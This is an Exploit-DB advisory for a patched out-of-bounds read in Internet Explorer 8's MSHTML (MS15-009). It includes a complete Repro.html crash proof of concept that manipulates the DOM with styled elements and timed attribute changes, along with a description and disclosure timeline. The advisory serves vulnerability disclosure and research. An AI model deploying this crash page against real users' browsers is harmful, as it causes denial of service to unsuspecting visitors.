Microsoft Internet Explorer 8 - MSHTML 'SRun­Pointer::Span­Qualifier/Run­Type' Out-Of-Bounds Read (MS15-009)

EDB-ID:

40841

Author:

Skylined

Type:

dos

Platform:

Windows

Published:

2016-11-28

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Synopsis

A specially crafted web-page can cause Microsoft Internet Explorer 8 to attempt to read data beyond the boundaries of a memory allocation. The issue does not appear to be easily exploitable.

Known affected software, attack vectors and mitigations

Microsoft Internet Explorer 8

An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.

Repro.html:
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
  <style>
    position_­fixed {  position: fixed; }
    position_­relative { position: relative;  }
    float_­left { float: left; }
    complex { float: left; width: 100%; }
    complex:first-line { clear: left; }
  </style>
  <script>
    window.onload = function boom() {
      o­Element_­float_­left = document.create­Element('float_­left');
      o­Element_­complex = document.create­Element('complex');
      o­Element_­position_­fixed = document.create­Element('position_­fixed');
      o­Element_­position_­relative = document.create­Element('position_­relative');
      o­Element_­table = document.create­Element('table');
      o­Element_­x = document.create­Element('x');
      o­Text­Node = document.create­Text­Node('x');
      document.document­Element.append­Child(o­Element_­float_­left);
      o­Element_­float_­left.append­Child(o­Element_­complex);
      o­Element_­float_­left.append­Child(o­Text­Node);
      o­Element_­complex.append­Child(o­Element_­position_­fixed);
      o­Element_­complex.append­Child(o­Element_­position_­relative);
      o­Element_­complex.append­Child(o­Element_­table);
      o­Element_­complex.append­Child(o­Element_­x);
      set­Timeout(function() {
        o­Element_­x.set­Attribute('class', 'x');
        set­Timeout(function() {
          alert();
          document.write(0);
        }, 0);
      }, 0);
    }
  </script>
  </head>
</html>

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Description

The issue requires rather complex manipulation of the DOM and results in reading a value immediately following an object. The lower three bits of this value are returned by the function doing the reading, resulting in a return value in the range 0-7. After exhaustively skipping over the read AV and having that function return each value, no other side effects were noticed. For that reason I assume this issue is hard if not impossible to exploit and did not investigate further. It is still possible that there may be subtle effects that I did not notice that allow exploitation in some form or other.

Time-line

June 2014: This vulnerability was found through fuzzing.
October 2014: This vulnerability was submitted to ZDI.
October 2014: This vulnerability was rejected by ZDI.
November 2014: This vulnerability was reported to MSRC.
February 2015: This vulnerability was addressed by Microsoft in MS15-009.
November 2016: Details of this issue are released.
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